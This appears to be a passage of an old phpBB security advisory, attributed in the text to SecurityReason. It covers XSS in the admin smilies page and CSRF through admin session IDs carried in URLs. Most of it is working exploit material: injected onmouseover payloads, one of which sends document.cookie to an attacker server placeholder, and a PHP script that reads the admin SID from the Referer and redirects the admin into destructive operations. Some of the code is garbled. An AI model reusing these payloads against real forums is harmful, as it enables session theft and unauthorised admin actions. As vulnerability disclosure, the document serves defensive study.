$smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ?
$HTTP_POST_VARS['smile_code'] :
$HTTP_GET_VARS['smile_code'];
$smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ?
$HTTP_POST_VARS['smile_url'] :
$HTTP_GET_VARS['smile_url'];
$smile_url = phpbb_ltrim(basename($smile_url), "'");
$smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ?
$HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion'];
$smile_code = trim($smile_code);
$smile_url = trim($smile_url);
$smile_emotion = trim($smile_emotion);
// If no code was entered complain …
if ($smile_code == '' || $smile_url == '')
{
message_die(GENERAL_MESSAGE, $lang['Fields_empty']);
}
//
// Convert < and > to proper htmlentities for parsing.

$smile_code = str_replace('<', '<', $smile_code);
$smile_code = str_replace('>', '>', $smile_code);
//
// Save the data to the smiley table.
//
$sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon)
VALUES ('" . str_replace("\'", "''", $smile_code) . "', '" .
str_replace("\'", "''",
$smile_url) . "', '" . str_replace("\'", "''", $smile_emotion) . "')";
$result = $db->sql_query($sql);

onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&smile_url=icon_mrgreen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&sid=SIDofADMIN
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&smile_url=icon_mrgreen.gif"%20onmouseover="alert(document.location='http://[SRVER]/cookies?'+document.cookie)"%20&sid=SIDofADMIN
and you have new smile. Ofcourse you can better do exploit. For IE and etc.
- — 2. Cross Site Request Forgeries —
phpBB admin in Administration Panel have SID in url. Ok. Example if you want
see user profil or split, lock someone
post etc.
Like:
http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec505d0
http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec5900fed3b35
etc.
If this user have "Link to off-site Avatar" ON or is bbcode (IMG) ON then you
can create url to script with referer for admin.So when admin open profil the
url will be executed. Need be referer in request.
Next problem is:
103# if ( !preg_match("#^((ht|f)tp://)([^ \?&=\#\"\n\r\t<]*?(\.(jpg|jpeg|gif|
png))$)#is", $avatar_filename) )
in includes/unsercp_avatar.php.
Why? Because this preg() don't have limit of chars.
In mysql phpbb DB you have (*_users)
user_avatar varchar(100)
only 100 chars will go to db.
So you can post url like
http://[HOST]/[DIR]/script.php/[100 chars].jpg
Sent:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasonsecurityreasonsecurityreasonsecur.jpg
and in db is:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasonsecurityreasonsecurityreasonsecur
or in bbcode (IMG)
http://[HOST]/[DIR]/script.php/securityreason.jpg
Nothing special… Ok…
You need create new user (nick name can be "FUCKmeADMIN" etc). And upload one
script. Doesn't need be in serverwhere is phpbb.
- -script.php–
<?php
SecurityReason.Com writed by Maksymilian Arciemowicz
Example exploit
$operation='http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=try&smile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.Com)\'%20';
http://[host]/admin/admin_smilies.php?mode=savenew&smile_code=a&smile_url=icon_mrgreen.gif"
onmouseover='alert(document.cookie)'
$sid='';
preg_match('#sid\=?([0-9a-z]*)#i', getenv('HTTP_REFERER'), $sid);
if($sid[1]!=''){
header("Location: ".$operation."&sid=".$sid[1]);
}
?>
- -script.php–
In this script you need give someone operation. I think, can be:
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=try&smile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.Com)\'%20
create new smilie… and all char a, change to image with javascript (XSS).
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=delete&id=63
Delete someone smile.
http://[HOST]/[DIR]/admin/admin_words.php?mode=delete&id=1&sid=c1db64124b7ced0668dec5900fed3b35
Delete word censor.
http://[HOST]/[DIR]/admin/admin_forums.php?mode=forum_order&move=15&f=4
Change position of forum=4.
http://[HOST]/[DIR]/admin/admin_ranks.php?mode=delete&id=4
Delete Rank Administration
http://[HOST]/[DIR]/login.php?logout=true
Logout
etc…
If admin have in url SID and img tag is displaying that this script can get
SID form HTTP_REFERER and redirect tooperation for admin
(header("Location…")).
Admin can't see result. This XSS in Point 1 can you used for this trick.
Solution is don't displaying <IMG> tags from user where have you SID in url.
And use POST to any operations like create, remove smilies etc.
